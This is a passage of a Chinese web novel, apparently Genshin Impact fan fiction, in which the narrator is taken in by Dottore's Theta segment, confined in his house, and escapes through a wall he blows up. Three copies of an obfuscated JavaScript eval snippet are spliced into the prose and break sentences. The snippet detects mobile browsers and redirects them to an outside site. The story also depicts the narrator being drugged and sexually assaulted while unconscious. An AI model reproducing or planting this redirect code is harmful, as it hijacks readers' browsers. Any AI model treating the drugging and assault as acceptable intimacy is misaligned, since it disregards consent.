我看不到Theta切片此刻的神情,只能感受到那双搭在我肩膀上的手,掌心柔软且干燥,宽大的手掌覆盖了我的整个肩膀,手指覆在我的肩胛骨之上的位置,往内用着力。 我只觉得汗流浃背。 选择? 从始至终都没有任何的“选择”可言。 在场的三位切片当中,唯有Theta切片年龄最长,实力也最强,这点,从赞迪克明明占理却不敢轻举妄动就可以看得出来。 那赞迪克为何还要找到这里来? 他只是不甘心而已。被我“这条家狗”用诡计戏弄了一遭,他怎么可能就这样轻而易举地放过我?即使面对Theta切片他毫无胜算,赞迪克也要来给我上遍眼药。 如果Theta切片真的要抢夺我的“管理权”,赞迪克只能答应,更别说年纪更小,权限更低的少年切片。 而我,若是真的选择了少年切片,那么,得罪的不只是赞迪克一个,恐怕之后要躲着的切片,还会多一个Theta切片。 这与我的目的完全背道而驰。 我在心里叹了口气,不敢再去看少年切片的眼神,转身将自己送入到Theta切片的怀中。 “塔德纳!你!”少年气愤得不行的声音从后面传来。 赞迪克嗤笑:“意料之中。” 不知道是不是错觉,Theta切片似乎愣了一下。他的身体肌肉紧绷了一瞬间,然后才伸手将我环在紧实的怀抱中,用力向里压了压。 “看来结果已经很清晰了。”他说,“既然如此,就请二位先回吧。哦,记得把门带上,毕竟接下来可能会发生一些不太能让别人看见的事情。” 少年切片骂骂咧咧地走了,反倒是冷静下来的赞迪克留下来听完了这一大段堪称挑衅的话。 “就当是提醒你一句好了。”他说,意味深长地警告,“别太信任塔德纳。家狗,也是会咬主人的。” “不劳提醒。”Theta切片回道。 “希望你不会后悔。”赞迪克留下最后一句话,离开了。 离开之前,他甚至真的顺手把门给关上了。 我从那有些窒息的怀抱中探出头,看见Theta切片嘴角的弧度骤然平息。他按动了一个桌侧的隐蔽机关,门瞬间传来被上锁的声音。 后颈被手掌轻轻环住。 我忍不住抖了一下。 “不用害怕。” Theta切片的语调仿佛永远都不会改变一样,即便我能够很清晰地感受到他的心情现在很不好,这大概是因为赞迪克的缘故,但只听声音,依然给人一种“温柔”的错觉。 我听见他说:“我会在‘本体’回来之前给予你庇护。作为交换,你只需要做一些讨好我的事情……嗯?” 我爬上Theta切片的腿,在对方疑惑的眼神中伸手摘下那尖喙面具。 那只令人毛骨悚然的机械独眼露了出来。 我将面具随手放在桌上,一手扶着Theta切片的脸,微微弯腰,吻上那诡异的眼珠。 并没有什么特殊的触感,很光滑,毕竟严格来讲,我亲吻的只是覆盖在内部结构之外的透明板上。 我紧紧地盯着那不断闪烁的机械独眼,心中不可避免地感到毛骨悚然。 Theta切片什么都没有做,他只是保持着这样的姿势,任由我从边缘的线路板亲吻到中心的独眼。 红色的光芒闪烁着,那只独眼也随着我亲吻的移动而转动着。 过了很久,我听见Theta切片问我。 “我以为你会很在意这个……根据记忆,你喜欢在亲昵的时候拿下‘本体’的面具,通过分析,你应该很喜欢‘本体’的眼睛。” 不…… 其实有的时候只是单纯嫌面具太尖了硌人。 但我只是语气带上一点迷蒙地回复他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Theta切片抓住我手臂的手指收紧。 “等回去再说。” 声音莫名有些咬牙。 …… 其实回去也没发生什么,在车上的时候我就累得不行了,靠在Theta切片的怀里就开始猛睡。 天可怜见的,我在赞迪克手里就没睡过一个安稳觉,为数不多能稍微休憩的时间还是我靠着“宁愿受罚也要睡觉”的心态不管不顾硬睡着的。 这一觉足足睡到了第二天下午,等我醒的时候,正躺在一张柔软的大床上。 被窝温暖舒适,我花了一段时间才说服自己起床。 下楼的时候,我发现灯光全是点亮的,就连沙发旁边的壁炉也烧得旺旺的。厨房里传来水汽蒸腾的声音。 等等…… 厨房? 我扒着梯子的扶手往下望去,透过厨房那一层雾蒙蒙的玻璃看到一个熟悉的身影。 一个熟悉到让我恨不得自戳双目的身影。 多托雷在做饭?! 我去,世界名画! 虽然严格上来说做饭的是Theta切片,而不是多托雷本尊,但这样的事情也足以令我震惊得连嘴都合不上了。 我精神恍惚地推开厨房的玻璃门走进去。 Theta切片一身简单的衬衫,看见我进来,露出一点笑意。 “你终于醒了,塔德纳。我正在钻研新的做饭装置,不过好像有哪里出问题了,饭里的水一直蒸不干。” 我目光呆滞。脑海里只有一个想法: 多托雷真的在做饭!这居然是真的! 忍不住用力捏了一下自己的脸颊肉。 好疼…… 不是在做梦! 这简直比做梦还奇幻! 我问他:“做饭?你还需要进食吗?” Theta切片轻笑:“不,当然不需要。我只是没体验过‘进食’,即使记忆里有这样的记忆,但那终究不是我亲身体验的事情。我想自己亲自体验一下‘进食’的感觉。” “所以,那个烧得很旺的壁炉也是……” “那个有一半的原因吧。”Theta切片走过来,高大的影子包裹着我。 我在他身上闻到一股米饭的味道。 这太奇怪了…… Theta切片看着我,即使隔着一层面具,我也能感受到那犹如实体的目光。 “还有一部分原因,是你。”我听见他说,十分温柔,“你好像比较怕冷,睡觉的时候一直抱着我。” 我:“……” 我:“!” 假的! 这绝对是假的! 怎么可能,我对多托雷切片的警惕心不可能这么低! 我试图从Theta切片身上找到一点“他在开玩笑”的证据,但失败了。 我竭力控制着面部的表情,几乎是同手同脚地拔开Theta切片朝里面走去。 “我……我来看看,你这个水都快加到漫出来了,怎么可能煮的熟,还有你这个米,放这么多干什么?你一个人准备吃几个人的量?” 背后环上一个温暖的胸膛。 Theta切片带笑的声音在耳边响起:“不是一个人,是两个人。” “两个人也吃不完!” 我色厉内荏。 40.第 40 章 Theta切片与我想象中的样子很不一样,甚至可以说是,大相径庭。 他确实在很多方面,或者说大部分方面,都保持着和多托雷一样的习性,比如对实验的热爱,以及骨子里掩藏得很深的傲慢和对他人的不在意。 但他对我的态度,和其他切片相比,却要柔和得多,也亲近得多。 因为还要进行“本体”给的实验任务,所以Theta切片一般情况下白天并不会在住所,但他会在傍晚时分准时回来,然后在壁炉里面添上柴火,在厨房里尝试一下新改进的做饭装置。 我不得不在此提一句,我实在不知道Theta切片对“做饭”的浓烈兴趣是从哪里来的,但他对此事乐此不疲。 有趣的是,Theta切片或许是一个科研的天才,但他于“做饭”一途实在是天赋有限,以至于做出来的做饭机器虽然逻辑合理,但就是做不出来一顿像样的饭。 出的差错千奇百怪,如第一天那般恨不得用一条河的水煮一锅饭的错误除外,他的做饭机器还做出了把糖当盐放以及做鱼没有去除内脏等等离谱的事迹。 我一度怀疑其实做饭机器的设计逻辑是没有差错的,出错的是Theta切片对“食物”的认知。 毕竟就算是被放入了致死量白糖的饭菜,Theta切片吃完脸上也没有展现出丝毫的不对劲出来。 要不是我尝了一口,这件事可能永远也不会有人发现。 我向Theta切片提出了这个可能,Theta切片进行了一番沉思,然后把一堆造型奇怪的做饭机器塞到我怀里。 他说:“你的猜测不无道理,既然机器的设计上没有差错,那么出错的只可能是预设的逻辑。我不会做饭,所以自然也不知道合适的动作逻辑是什么。如此,这堆机器就交给你来改造吧。” 我:“……” 我:“欸……我,我吗?真的假的,我来改?” 我捞了一把臂弯处快要掉下去的能源插头。 “不……这样的要求还是有点太为难人了吧。”我勉强维持着怀中一大堆东西的平衡。双眼被最上面的一个打蛋机器遮住了,我只能透过缝隙去看Theta切片。 Theta切片抱着手臂,一副悠闲的样子靠在厨房的门框上。 “不要这么轻视自己。只是一堆做饭用的废铜烂铁而已,连简易的邪眼都能做出来,想必这点小事对你而言也不会太难,对吗?” 对……对吗? 我搞不清楚Theta切片此举的意义。 他似乎只是为了捉弄我而已,甚至煞有其事地找了一堆机械学的专业书籍给我。每本书都厚得可以当砖头砸死人的那种。 Theta切片将高得可以把我埋起来的书放在地上。 “如果有哪里不懂的话,这些书籍都可以查看,以及……”他又拿出一张巨大的图纸,“这是我制作这些机器的时候绘制的图纸,如果有哪里不懂,都可以问我。” 男人伸手将宽幅巨大的图纸卷了卷,单膝跪在地上,轻轻弯腰将纸卷放在我的面前。 我有些呆滞地抬头,目光一不小心就落在那被束缚带紧紧束缚的胸膛上,慌乱地转移视线。 “是……主人。” Theta切片似乎格外偏好在家里脱去外裳只着内里一件深蓝色衬衫的打扮,若说是为了宽松休闲,他又会保留着身上的束缚带装饰。 环绕脖子一圈,紧紧缠绕着胸膛和腰,以及双臂上的束缚,使得那紧致的肌肉更加显眼,也更加…… 引人注目。 我在心中不断默念着“管住视线”,甚至没有注意到Theta切片是什么时候来到我身边和我并排一起坐下。 等我反应过来的时候,盘起来的双腿上落下一只没戴手套的,骨节分明的手。 我身体一僵,下意识地转头看过去。 我看到Theta切片的侧脸,但因为戴着面具的缘故,实际上也看不到什么。 察觉到我的视线,Theta切片露出有些疑惑的神色朝我的方向稍微偏了一下头,右耳那只蓝色试管状的耳饰也跳进我的视野里。 他问:“怎么了?你似乎有些心不在焉?” 我抿了抿唇,不敢去看他,只是有些紧张地将地上的图纸卷捡起来,装作一副忙着看图的样子。 “没……没什么。” 真是见鬼……怎么偏偏今天管不住自己的眼睛。 耳边传来一声轻笑,我吓得手一抖,连简单的展开图纸的动作都做不好,边缘翘起的部分一直往里回缩着无法展开。 Theta切片从我手中抽出图纸,捏紧一边,然后“唰”地一下展开。 那图纸在他手里和在我手里仿佛不是同一张纸一样,总之相当顺利地展开了。 图纸上是密密麻麻的图案和文字批注,专业性极强。 Theta切片将图纸忘我的方向移了移,半个身体便也倾斜到我这边来。 “这样方便一些。”他说。 确实很方便,从这个视角能够看到图纸上所有的内容,就算是最边边角角的细小批注稍微伸一下头也能够看的非常清楚。 但同时,在这个视角,也能够看到男人轻微俯就的身体,那横跨我腹前握紧图纸边缘的手臂,黑色束缚带下轻微起伏的胸口,以及,领口下若隐若现的皮肤。 我想要移开视线,但想要看图纸的话,视线就很难避免扫过那些地方,但若是不看,Theta切片会起疑心。 一时间如坐针毡。 Theta切片将左手的图纸边缘塞进我的手里。 他说:“拿好一点。” 手指相碰,我感受到那点干燥温暖的触感,然后晕晕乎乎地下意识攥紧尚带着点余温的边缘。 Theta切片在我的耳边讲解着,手指随着讲解的进度落到图纸上的某一块地方。 “这里是能源供应的板块,考虑到需要独立使用的需求,我设计成了能量储蓄的使用方式,以及这里……” 耳边的声音温柔而有条不紊。 只有我的脑子现在一团乱麻。 这样的距离,实在是过于接近了…… “如果要改进的话,可能要从……嗯……塔德纳?塔德纳,你还在听吗?” 眼前闪过一只手,我往后一仰,从异样的状态挣脱出来。 面前是Theta切片的脸。 他不知道什么时候收了图纸,与我面对面坐着。 我忍不住捂脸。 “抱歉……我现在有些集中不了精神,可以稍等一会儿再进行讲解吗?” Theta切片的语气透着担忧:“不要紧吗?你的状态似乎很不对,需要我帮你看看吗?” 我下意识地拒绝。 “不用了。这样的小毛病,没必要打扰主人您。” Theta切片没有坚持,仿佛真的像是在为我着想一般。 “好吧,如果你坚持的话。只是要是坚持不住了,记得及时叫我。” 这样细腻温柔的嘱咐让我的内心突然升起一点“内疚”的情绪。 我是不是对Theta切片有些过于防备了? 我如此想着,脑袋依旧晕乎乎的。 那边Theta切片似乎丝毫没有被拒绝过后的不满或是其他情绪,只是安静地收起图纸,一只手撑着地面站起来。 我闻到一股若有若无的香味。 是香水吗…… 多托雷似乎出席重大会议的时候也会喷一点…… 我感受到一阵困意。 几乎毫无预兆。 大脑深处的声音在告诉我“不要睡觉”,但意识却不由自主地陷入深沉的睡眠之中。 双目紧阖的前一秒,我看见Theta切片朝我走来,他松了双臂上的束缚带,袖口捋起,露出结实的手臂。 意识中断。 …… Theta切片将昏倒在地上的青年环臂抱起来。 青年的体重并不算重,甚至有些过于轻盈。Theta切片有些苦恼,明明他已经学着书籍里写过的样子投喂了青年一段时间,可是为什么,还是如此瘦弱呢? Theta切片将此归结于青年的体质原因。 毫无疑问,青年来到他这里后的时日被养护的很好,原先被折磨得苍白的脸和青黑的眼眶也恢复了记忆里的模样。 Theta切片对此十分自豪。 他和Beta切片不一样。他不是一个残暴的切片,甚至,不那么像“本体”。 他是被刻意抽走了对那些发生在“本体”和青年之间的龃龉的愤怒之后,创造出来的,用于实验的特殊切片。 不用怀疑。 Theta切片对青年怀有着不一般的感情。这样的感情不再被碍眼的记忆侵染,如同愈燃愈烈的火焰,将那颗明明不会搏动的能源装置烧得滚烫。 这样炙热的温度,如同火红的炭块一般。Theta切片无时不刻不在被这样的感情困扰着。 他想过要找“本体”拿回残失的那部分情感。 但这样的请求被拒绝了。 “本体”告诉他,“这是一场实验,一场以我的一角为代价,开展的,人性的实验。” Theta切片无法理解“本体”这样的感情。 他是第八个切片,在他之前,还有着七个切片。但无论是哪个时间段的切片,他们都与Theta切片完全不同。 Theta切片意识到,他是一个异类。 于是他开始学习其他切片以及“本体”的言行举止,力求不让外人看出他的不同。 Theta切片模仿了很久,久到他都要忘记胸膛那滚烫的火了。他觉得自己现在应该已经和其他切片差不多了,于是他找到了“本体”。 “本体”只是轻笑。 “你似乎对‘自我’有些迷茫,呵呵……你从诞生之初便和其他切片完全不一样,这点,即便再如何努力伪装,也无法掩饰。” “本体”如此对他说。 Theta切片只感觉到困惑。 明明他已经如此努力地伪装自己,明明就算是其他切片也看不出自己有什么不同,甚至还会忌惮他作为“年龄最大的切片”的身份,可是…… 为什么他还是会被认为是“不一样的那个”? Theta切片为此沮丧了相当长的一段时间。 直到“本体”离开至冬前告诉他。 “你找寻‘自我’的时刻来了。去这里看一眼他吧。” “本体”递给他一张纸条,上面是一个地址。 Theta切片前往了那个地方。 那是一个监狱,在那里,Theta切片第一次见到了只存在于记忆中的青年。 被错认为已经冻毙于冰雪的火焰时隔多年再一次燃起,比以往任何一次都要猛烈。 这样的感情究竟是什么,Theta切片并不完全明白,但他知道,自己的内心,正在疯狂叫嚣着对青年的渴望。 Theta切片用了一些手段,他擅长伪装,也擅长观察,好在青年足够狼狈,没有过多怀疑便来到了他的身边。 如此,是“本体”想要的结果吗? Theta切片在心中这样想着。 …… “自我”。 Theta切片从被制造出来的伊始,便知道自己不被任何一方接纳,无论是切片,还是“本体”。 Theta切片偶尔会面对浴室的镜子观察自己的躯体,那犹如真人的肌肤,以及那显眼的,占据了一半面容的机械眼。再明显不过地宣判着他“异端”的身份。 他是为塔德纳而诞生的。 如今,与青年紧密融合身体仿若真的生出了人类的“心脏”,令Theta切片感到满足,也感到鲜活。 “本体”说的不错,他的确能从青年处找到“自我”。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890830|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>再次醒来的时候,身体像是被马车压过一样浑身酸痛。我睁开眼,发现自己被紧紧地抱在一个怀抱里,眼前是一片裸露的胸口,印着杂乱的吻痕和被挠出的血痕。 我抬头,和一只机械独眼对上,心里猛然一惊。 那只眼睛光芒暗淡,似乎暂时停止了运转。 我稍微松了一口,大脑然后再变得空白。 发……发生什么了…… 我轻轻挪动了一下身体,没能挣动,又担心会把Theta切片弄醒,所以很快放弃了动作。但就是刚刚那一下,我感受到身体被过度使用的疲惫和痛感,以及,身后那处传来的,有什么东西缓缓流动脱离的感觉。 ! !!! 我隐约意识到在我昏睡期间发生的事情,几乎难以置信。 不,这一切,或许早有预料。 我想起昏迷之前闻到的那股被我认为是“香水”的味道。 身体到处都是痕迹,整个人也被死死抱着。 我花了一段时间接受事实,又花了一段时间胡思乱想。 这是Theta切片做的,这点毫无疑问。 可是……为什么? 我在来找Theta切片的时候,并非没有做好“要付出一些特殊代价”的觉悟。多托雷对我有着特殊的欲望,没道理以多托雷各个时间段为样本制作的切片对我毫无兴趣。 更何况…… 多托雷还专门给自己的切片都分享了那些记忆。 Theta切片当时在咖啡馆对我展现出来的占有欲和亲吻,一切都在我的预料范围之内,除了他“故意向我展现自己的机械独眼”这件事。 那确实吓了我一大跳。 但总体而言,计划并没有偏离。 我的所有目标都已完成:确定Theta切片对我态度友好,以及逃离赞迪克的掌控。 我在当时对Theta切片展示出来的欲望也给予了完全正面的反馈。 所以,究竟是哪里出了错? 为什么事情会演变成现在这个样子?! 我感到头疼,隐约意识到自己对Theta切片的预估可能在某些地方出了大差错。 身前躯体呼吸的频率稍微发生了变化。 Theta切片带着沙哑的声音在头顶响起。 “你醒了?” 好似刚刚才醒一般。 可是……这家伙,明明不需要呼吸,无论是胸膛起伏的频率还是呼吸的浮动都是他刻意模仿出来的。还有,他也不需要睡眠才对…… 白天里昏沉之间不合理的地方以及刚醒过来时大脑信息过载被忽略的不合理之处在大脑里飞快闪过。 我喉咙有些发紧。 “嗯……你,您,您先放开我,可以吗?” 光裸的后背被轻柔地扶着往内推拢。 “不必刻意使用敬语。”他说,“你和我之间的关系没必要拉得那么疏远。” 我一时间不知道怎么回话,只能模糊地“嗯”了一声。 又过了一会令人窒息的静默。 见Theta切片没有说什么的意思,我忍不住再开口。 “主人……我,能把我放开吗?我想去清理一下……呜……” 被子里收紧的双腿被故意从中间分开。 我蜷缩着身体,想要停止这样过于羞耻的事情,但却被这一切的罪魁祸首无情地打开。 “忘了给你清理,实在抱歉。”Theta切片似乎完全看不出我现在的难堪,只是一副道貌岸然的样子。 他抱紧我,耳边的声音犹如咏叹。 “但是,你的反应实在是,太可爱了,我有些忍不住。” 灼热的气息濡湿了我的耳垂,那带着笑意的声音仿佛是要故意让我听清楚,再也忘不掉一般,一遍又一遍重复着:“想要永远留在你的身体里……塔德纳,就这样,永远含着我给你的东西……” Theta切片重复着我的名字。 “塔德纳……塔德纳……塔德纳……” 我想起枫丹产的那种发条娃娃,坏掉的时候也是这样,一遍遍重复着最后的几个字。 后知后觉的恐惧爬上心头。 我惊出一身冷汗。 …… Theta切片不正常! 当然,我指的当然不是从道德伦理上来讲! 真要用人类社会的道德品质来要求多托雷的这些切片的话,有一个算一个,全改被送进牢里判死刑。 我指的是,对我的态度。 我最开始以为Theta切片只是出于不知名的原因对我的态度比较“友善”。 无论是夸赞我做的“临时邪眼”,还是和赞迪克以及少年切片对峙时对我的袒护,都说明Theta切片对我的初始好感度是远高于其他切片的。 至少是高于赞迪克和少年切片。 但是,如今再仔细想想,那么早地就放出自己的消息,在咖啡馆每周一次地等待,不觉得有些过于刻意了吗? 即使我是“本体”的副官,和多托雷有着一系列难以言喻的关系。 即使如此,又真的值得Theta切片花费这么大的精力在我身上只是为了在合适的时候抢走“对我的管理权”来恶心一下其他切片吗? 不。 这不合理。 唯有足够重量的筹码才能让贪婪的赌徒心动。 或许,早该在Theta切片故意引导我摘下面具的时候,我就该意识到,这是一场等候多时,精心密布的“局”。 多托雷或许早知道Theta切片对我的感情不太正常,于是才专门留下了这个切片。 他早知道,比起少年切片,我会更倾向于选择实力更强大的Theta切片…… 我的脑海中突兀地浮现出与少年切片初会时,少年切片的那句话。 “……保留所有观察世界的视角……” 包括……我在内吗…… 41.第 41 章 在那天的事情之后,我几乎每天都如坐针毡。 我无法再以正常的态度对待Theta切片,开始无法控制地远离Theta切片,即便我知道现在的我理论上应该对这位“给予了我庇护”的切片多一点尊敬。 毕竟他确实保护我免受于赞迪克的侵害,如今的我除了仰赖Theta切片,没有任何方法可以破局。 但是…… 我忍不住想起醒来的时候奇怪的身体感觉。 我开始拒绝Theta切片对我的接触。 Theta切片对此似乎毫无怨言,他只是露出了一点有些伤心的表情,也不为自己辩解,答应了我的要求。 他甚至答应了我分房睡的要求。 即使我把整栋房子搜了个遍也没有找到第二间可用的卧房。 但Theta切片确实没有再睡觉的时候和我一起,他只是坐在壁炉旁的沙发上,面具被摘下放在桌上。 他真的很喜欢在我在的时候摘下面具,或许是因为我说过“喜欢被盯着的感觉”那句话。 那只泛着红光的机械眼一眨不眨地盯着我的方向,目送我忐忑地扶着扶手回到房间。 直到彻底陷入沉睡的时候,Theta切片确实如他所言的那般没有来找我,第二天起床的时候,宽大的床上也确实只有我一个人。 但是,身体却残留着很明显的被使用过后的痕迹。 每日都是如此! 我询问Theta切片,他也只是将我搪塞过去。 那只圆形的独眼看着我,自上而下。 我的内心陡然升起尖锐的预警——不能再问了。 不要观察。 不要询问。 不要思考…… 除去那次的质询,Theta切片依然保持着对我的温和态度,然而正是因为这样,我才越发感觉毛骨悚然。 白日里,他依然保持着去实验室的习惯,也依然不会带我,我被锁在加足了暖气的房子里,看着Theta切片将所有的窗户都装上特制的锁,确保所有能通向外界的口都被严实锁紧后,Theta切片站在门口,嘴角带着一贯的微笑。 “我很快回来。”他说,“不要担心,也不要害怕。”然后将手里的面具递给我。 我有些麻木地接过,靠近他,等Theta切片弯腰,我捏着面具的两端将那不方便直接示人的机械独眼遮住。 Theta切片于是又变成了最正常的那副样子。 Theta切片在我的手背上落下极轻的一个吻,犹如普通人家外出的丈夫一般对我告别,随机关上门。 大门落锁的声音响起。 我呆立在原处,手指抚摸着刚刚被亲吻的左手,那只手的手腕上,还残余着稍微浅下去一点便会在不为人知的一夜后被加深的紫色於痕,以及…… 被长袖的衬衫遮挡下,位置不断变化的斑斑点点的吻痕。 不能再这样下去了。 若是被Theta切片完全掌控…… 我在整栋房子里搜刮了许多遍,却没有找到任何类似于“铁锤”和“链锯”一样的工具。 这不正常。 Theta切片明明会自己发明一些新的机械发明,房子里怎么可能会找不到工具? 我意识到这些工具可能是被Theta切片故意藏起来了,目的是为了防止我趁他不在逃离这里。 逃离…… 必须尽快逃离这里。 大门采用坚硬的材质制成,同时还安装有被破坏后会触发的报警机关,从大门强制破出并不可取,那么,唯一剩下的可能,便只有窗户。 窗户的封锁是在我开始展露出对Theta切片接触的排斥后,Theta切片临时装上的,所以还没来得及连接破损报警装置。 但是封锁窗户采取的锁十分复杂,除了Theta切片手里的钥匙,基本没有可能打开。 站在二楼的卧房窗前,我向下俯视着下面的雪地,手里抱着之前Theta切片塞给我改进的做饭机器。 为了保证能够独立使用,所有做饭机器采用的都是…… 内置能源储蓄供能方式。 拆卸下机器内部的能源,然后,我用厨房的餐刀在能源装置上用力地砍劈出几条深痕。 万幸,虽然动作比较粗暴,砍劈的过程中也溅发出来几丝火花,却并没有发生爆炸。 看得出来Theta切片确实只是一时兴起才做了这一堆做饭用的机器装置,能源装置并不是用的可以防止外力破坏的那种。 我将所有机器里面的能量装置全部拆卸下来堆在窗户前面,然后在燃烧的壁炉之中取出一只柴火。 为了让我自己在房子里的时候也能保持暖和,Theta切片专门给壁炉准备了足够的柴火,由特制的投喂装置定时添加。 至少Theta切片还没有疑神疑鬼到连壁炉都给我锁住的地步。 我在心里如此庆幸着,手持燃烧的木柴到了二楼。 在能量装置被燃烧起来的时候,我便躲在了墙后面。 随着一声爆炸的巨响,我听见什么崩裂的声音。 爆炸产生的浓烟几乎从卧房里面喷涌出来,火焰点燃了卧房里面所有可以燃烧的东西,灼热的温度烫在裸露的皮肤上,让我有一种被热浪撕开的错觉。 好在,尝试成功了,甚至有些过于成功。 爆炸的威力几乎将那堵墙都轰塌了一半。 我没有找到窗户在哪里,应该是爆炸的时候连带着墙面一起被炸飞了。 等到我披着沾满水的被子穿过火焰,从被炸出来的豁口降落到地面的时候,感受到久违的风雪,我的心才稍微平静了一点。 脚边似乎有一个硬物。 我低头,看见一扇十分完整的窗户,依然被锁得紧紧的。 我:“……” Theta切片或许有去干安保工作的潜力。 他从哪里弄来的这么离谱的锁?! 我将湿被子扔在地上,单薄的衣服暴露在冰冷的空气中,忍不住打了个颤。 之所以穿着如此单薄也是因为我没有在房子里找到外套。 虽然这句话听起来有点荒谬,但它确实是事实。 我也只能将这归结为一句“Theta切片为了防止我逃跑实在是煞费苦心”。 虽然心里明白Theta切片为了关我用心良苦,但是逃跑的脚步是不可能停下的。 我稍微辨别了一下方向,朝着最显眼的建筑走去。 依照现如今的局势,无论是找赞迪克还是少年切片都已经不管用了,最初设想的以“切片的力量对抗切片”的道路是完全行不通的。 既然如此,我只能换个人。 在至冬,权力上能压制多托雷一头且有可能帮助我的人…… 我在脑海里搜寻着符合这些条件的人。 【丑角】或许算一个,但他与多托雷利益一致,不一定会愿意帮我,找他的风险也比较高,说不定会被通风给某个切片。 再往上……我暂时还接触不到那么遥远的阶层,最多只能在愚人众内寻找求助的人。 而在愚人众,足够无视多托雷且富有正义感的人…… 我埋首走着,身体突然被一个人撞了一下。 “嘶……” 我好不容易保持好身体平衡,向前看去。 那是一名身材过分瘦小的中年男子,胡子拉碴,不修边幅,连身上披着的,也不知道是从哪里捡来的一片黑黑的脏布,散发着淡淡的味道。 可能只是附近的流浪汉。 我扫视这人一眼,准备绕过此人离开。 但是却被拦住了脚步。 “等等,您……您是……” 我脚步一顿,皱眉:“请问有什么事吗?” 那中年男子打量着我,浑浊暗沉的眼珠艰难地转动,然后突然变得激动。 他一下子扑倒在我的脚边,我吓了一跳,躲过那只脏兮兮的手,但还是被拽住了裤脚。 “你干什么?” “大人!大人求求您救救我吧,求您,救救我的孩子和老婆吧……” 我简直一头雾水。 “你……你不要这样,先把话说清楚。” 那中年男子跪在地上,向我哭诉着。 “大人,我们全家都被抓走进实验室当了实验体,我虽然侥幸从实验室逃走,但我的孩子和老婆都还在里面啊,大人……求您帮帮我吧……” “实验室?”我问他,“哪里的实验室?” 中年男子颤巍巍地给我指了一个方向。 那里是赞迪克的实验室。出狱的第一天我去的便是那里。 哭喊的声音依然没停。 “大人,那些实验简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这些愚人众士兵均携带武器,似乎是在执行什么任务。 中年男子一听到这声音似乎立刻吓得胆子都破了,他尖叫着“愚人众来抓我了”,想要抓着我的腿躲在我身后,被我一眼瞪了回去。 中年男子揣着手,猥琐着身躯,脸上的恐惧不似作假。 我将此人再次上上下下好一阵观察,等到那脚步越发近了,才从怀中取出一个小本子,在上面写下一串地址递给中年男子。 “拿着它。”我说,“这次我会帮你遮掩,在下次见面之前,努力活着吧。” “谢谢,谢谢大人。” 中年男子接过纸条,匆匆朝我磕了几个头跑开。临走前还不忘把地上的脏布捡走。 我目视着男子离开,等到那身影消失不见后,愚人众士兵的脚步声也到了跟前。 数量相当唬人的愚人众士兵停在我面前,不一会儿,从后面驶来一辆车,里面的人走下来。 是少年切片。 少年切片看见我相当惊讶。 “是你。”他说着,“前面的人跟我说有人故意放走了要抓的人还挡路,我当是谁,原来是你。” 那双圆润的红色双眸将我看了一番,随即语气变得刻薄。 “呵,我当你去Theta切片那里过上了什么好日子,连着这么多天连理都不理人,送去的见面函音信全无。如今看来,也不怎么样,怎么这么大冷天,连外套都没一件就在外面乱跑?Theta切片人呢?他不管你吗?” 我愣了一下。 “什么见面函?” 少年切片的情绪被骤然打断,也噎了一下。 “什么什么见面函……你在跟我打马虎眼吗?” “不……”我有些头疼地扶额,“我不是这个意思……您说的什么见面函,我根本就不知道,我……” 手腕被突然一下子抓住,少年切片不知道什么时候来到我面前,他抓着我的手腕,看着上面明显被掐出来的紫痕咬了咬牙,然后又骤然将我的袖子捋上去,露出下面惨不忍睹的皮肤。 少年切片的牙咬得更响了。 他冷笑:“这就是你说的‘不知道’?我看你在Theta切片那里是过得不知日月年岁了,和Theta切片做的感觉怎么样?” 少年语气阴森:“很爽是吧?” 我感到一阵无力,心灵上的那种。 “您……我是真的没有收到什么见面函,Theta切片不允许我和外界交流,连出门也不准。” “那你现在是?”少年犹疑地看着我。 我叹气:“偷跑出来的,为此甚至炸了一堵墙。” 少年切片:“……” 42.第 42 章 少年的态度稍微柔和了一点,我也终于能够把手抽回来。 “偷跑?那你现在准备去哪里?”他问我。 “其实还没决定好……” “哈?”少年难以置信地看着我,“你认真的吗?你……” 他似乎还想说什么,但视线触及我脸上不安的神色,一半的话头又被咽下去。 他语气别扭:“你在Theta切片那里过得不好吗?” 何止是过得不好…… 我想起Theta切片对我做的那些事,脸上的表情顿时有些凹不住了。 于是本来是故意露出“不安”的表情来博取一点少年切片的同情,现在却变得莫名扭曲。 少年切片有些懊恼。 “算了……如果你不想说的话。”他似乎也看出来了一些不对劲。 那双红眸抬头看我。 “如果你没有地方去的话,我或许可以……” “大人,您刚才说的被我放走的人……”我有些慌乱地打断少年的话。 我很明白这件事不能把少年切片扯进来,所有切片中年纪最小且力量最弱的少年面对Theta那样的敌手,几乎连保全自身的能力也很难拥有,更何况是保全我。 被打断的少年有些怒气,但还是压抑住了。 我在心中略松了口气。 少年虽然语气不佳,但还是开口为我解释。 “你放走的那个人,之前在实验室闹事。Beta切片那个家伙自己懒得管这种事,就把抓人的事情丢给我。真是的,我是什么负责跑腿的小兵吗?这种事情随便扔给哪个人不就行了。” 提到赞迪克,少年的语气变得无比怨念。 “闹事?”我有些疑惑。 “Beta切片的实验室出了点意外,大批的实验体发生了暴乱,你放走的那个家伙不知道从哪里得来了风声,跑到实验室闹着要我们赔偿他,说是已经按照要求提供了合适的实验体,但是却没有收到应得的报酬……” 少年啧了一声:“我从未听说过实验室有什么‘用实验体换报酬’的条文,问Beta切片,那家伙也不知道这种事情。总之,这件事暂时被定作恶行的碰瓷事件,Beta切片让我把人抓回去……你的脸色怎么了,突然变得这么苍白……” “没……没事。” 